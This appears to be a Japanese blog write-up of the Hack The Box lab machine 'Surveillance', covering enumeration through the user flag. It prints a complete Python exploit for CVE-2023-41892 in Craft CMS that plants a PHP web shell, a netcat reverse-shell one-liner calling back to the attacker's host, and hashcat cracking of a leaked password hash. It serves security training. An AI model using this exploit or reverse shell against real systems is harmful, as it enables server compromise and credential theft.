1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Hack The Box Surveillance Write up 日本語

Posted at

はじめに

こんにちは、Gaijineer「Gaijin + enjineer」のハサンです。

本記事を書いているときに、日本語で探しても Hack The Box の Surveillanceボックスの Walkthrough がなかったので、今回は HackTheBox の Mediumマシンである「Surveillance」のWriteUpを載せます。

この記事の主要な目的は、ITエンジニアのセキュリティ系知識を増やすことです。
さて、Surveillanceという名前から何かを監視するような気がしますが、どのようなマシンなのでしょうか。

1. Nmap scan

それではVPN接続して、マシン稼働させてIPが表示されたらenumerationを始めていきます。まずはnmapから実行していきましょう。

sudo nmap -sC -sV 10.10.11.245

nmap.png

SSHとHTTPが開いていますね。
ただし、ブラウザでIPアドレスにアクセスしても、ウェブサイトが表示されません。
下記のように/etc/hostsにIPアドレスを追加する必要があります。

echo "10.10.11.245 Surveillance.htb" | sudo tee -a /etc/hosts

add_host.png

2.列挙(Enumeration) phase

ブラウザでhttp://surveillance.htbにアクセスしてみます。

browser.png

さて、ここからgrinding ですが、色々見ていきましょう。

・デイレクトリBrute Forcing:

Webなので、先にDirectory Brute forcing しておきます。

Directory Brute forcingしている内に、他のenumeration(列挙)を実施すると時間の有効活用に繋がります。
GoBuster、DirBusterなどツールは、個人の好きなものを使ってください。

・ソースコードの確認:

ソースコードを見てみます。
そこに役に立つ情報があるかどうかをチェックしてみましょう。
sc.png

これだけを見るとcraftcmsというcmsが動いてそうです。versionは、4.4.14ですね。
craftcmsの名前は初めて見たので、少しgoogle先生の力を借りて、Githubなどで調べてみます。

・Github

PHPで書かれてるCMSアプリケーションらしいです。データベースとしてMySQLとPostgreSQLを使っていますね。

craftcms.png

・Google

Googleにversion「craft cms 4.4.14 cve」を検索すると何とCVE-2023-41892にヒットしました。RCE(Remote Code Execution) という名前の脆弱性が発見されていますね。もうすでに色々なエンジニアがエクスプロイト(exploit)も書いていますね。

google.png

これぐらいの時間でGoBusterなども完了してそうなので、確認するとアウトプットは下記のようになりました。
DirBrute.png

ここでもう一度ブラウザを確認します。
下記のURLでadminのLoginページが見つかりました。ここからでもcraftcmsであることが確認できますね。

http://surveillance.htb/admin/login

Browser2.png

3. エクスプロイト(Exploit) and Foothold

さて、先ほど見つけたcraftcmsのexploitを調べました。 exploitを使わなくても完全に手動でRCE(Remote Code Execution)を実行できますが、記事が長くなるのと、Exploitを読む、もしくは書くことによって Python の scripting skills が上がるので、ここでは exploit を使用します。 色々調べて、下記の Python のコードを Exploitコードとして使用したいと思います。
    import requests
    import re
    import sys

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
    }

    def writePayloadToTempFile(documentRoot):

        data = {
            "action": "conditions/render",
            "configObject[class]": "craft\elements\conditions\ElementCondition",
            "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
        }

        files = {
            "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
            <image>
            <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
            <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
            </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
        }

        response = requests.post(url, headers=headers, data=data, files=files)

    def getTmpUploadDirAndDocumentRoot():
        data = {
            "action": "conditions/render",
            "configObject[class]": "craft\elements\conditions\ElementCondition",
            "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
        }

        response = requests.post(url, headers=headers, data=data)
    
        pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
        pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
       
        match1 = re.search(pattern1, response.text, re.DOTALL)
        match2 = re.search(pattern2, response.text, re.DOTALL)
        return match1.group(1), match2.group(1)

    def trigerImagick(tmpDir):
        
        data = {
            "action": "conditions/render",
            "configObject[class]": "craft\elements\conditions\ElementCondition",
            "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
        }
        response = requests.post(url, headers=headers, data=data)    

    def shell(cmd):
        response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
        match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)
    
        if match:
            extracted_text = match.group(1).strip()
            print(extracted_text)
        else:
            return None
        return extracted_text
    
    if __name__ == "__main__":
        if(len(sys.argv) != 2):
            print("Usage: python CVE-2023-41892.py <url>")
            exit()
        else:
            url = sys.argv[1]
            print("[-] Get temporary folder and document root ...")
            upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
            tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
            print("[-] Write payload to temporary file ...")
            try:
                writePayloadToTempFile(documentRoot)
            except requests.exceptions.ConnectionError as e:
                print("[-] Crash the php process and write temp file successfully")
    
            print("[-] Trigger imagick to write shell ...")
            try:
                trigerImagick(tmpDir)
            except:
                pass
    
            print("[-] Done, enjoy the shell")
            while True:
                cmd = input("$ ")
                shell(cmd)

上記のPythonコードをpoc.pyとして保存してpython3で実行します。

python3 poc.py http://surveillance.htb/

実行すると下記のようなshellがもらえます。
initail_shell.png
PoC(Proof of Concept)を使って最初のfootholdを得た後は、bashコマンド用の適切なシェルを取得することが次のステップですね。
そのために下記の one liner を使います。IPは自分のlinux環境のtun0のIPとport番号(4444)を使っています。下記のone linerについて詳しく知りたい方はChatgptに質問すれば教えてくれます。

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.x.x 4444 >/tmp/f

下記のようになります。一つのターミナルにone linerを実行します。もう一つのターミナルにnetcat でport 4444 でlistenします。
stable_shell1.png
stable_shell2.png

4. user.txtフラグの取得

現在、(www-data)service userには権限がないため、フラグを提出するための user.txt ファイルが見つかりませんね。フラグは別のユーザーに存在するため、そのユーザーをリストアップしてみることにします。 そして、少し環境内を移動してみると、/homeデイレクトリ内にmatthewとzoneminderを見つけました。 おそらく、matthewユーザーの権限に昇格すればuser.txtのフラグが取得できると思います。 あとで権限昇格(Privilege Escalation)で必要になりますのでzoneminderについても詳細に調べておきます。

matthew.png

現在のユーザーを列挙する際に、重要なものとしてバックアップディレクトリが見つかりました。そのディレクトリには、SQLのバックアップファイルが含まれていました。このファイルには、おそらく秘密情報が含まれていると思います。
sql_zip.png

そして、上記の[surveillance--2023-10-17-202801--v4.4.414.sql.zip]ファイルを自分のローカル環境(kali linux)にダウンロードして保存します。ダウンロードするやり方はいっぱいありますが今回は、ストレージフォルダからウェブサーバにホストされているサーバーに上記の.sql.zipファイルをコピーしました。

copy_sql_file.png
その後、wgetコマンドを使用して.sql.zipファイルをローカル環境内にダウンロードしました。そして、ダウンロードしたファイル解凍すると、その中には、Matthewというユーザー名とハッシュ化されたパスワードが含まれていました。.zipファイル名が長かったので、unzip するとき、surveillance.sqlに名前を変更しました。

cat surveillance.sql | grep users -b5 -a5

matthew_hash.png

その後、ハッシュ値をコピーします。Matthewのパスワードで使用されているハッシュがどんなハッシュであるかを確認するためにHash-Identifierというツールを使用しました。おそらくSHA-256で作成されたものですね。

hash_identifier.png

ハッシングアルゴリズム(Hashing Algorithm)は、SHA-256の可能性が高いようなので、hashcat で運を試してみました。

hashcat -m 1400 matthew_hash /usr/share/wordlists/rockyou.txt

matthew_pass.png

matthewのパスワードがゲット出来たので、これでsshを使ってsurveillance.htbにログインして、user.txtを取得します。

ssh matthew@surveillance.htb

matthew_login_user.png

最後に

少し長くなってしまいましたので、今回はuserフラグの取得までです。 次回は、同じマシンのrootユーザーの権限昇格(Privilege Escalation)を投稿します。
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?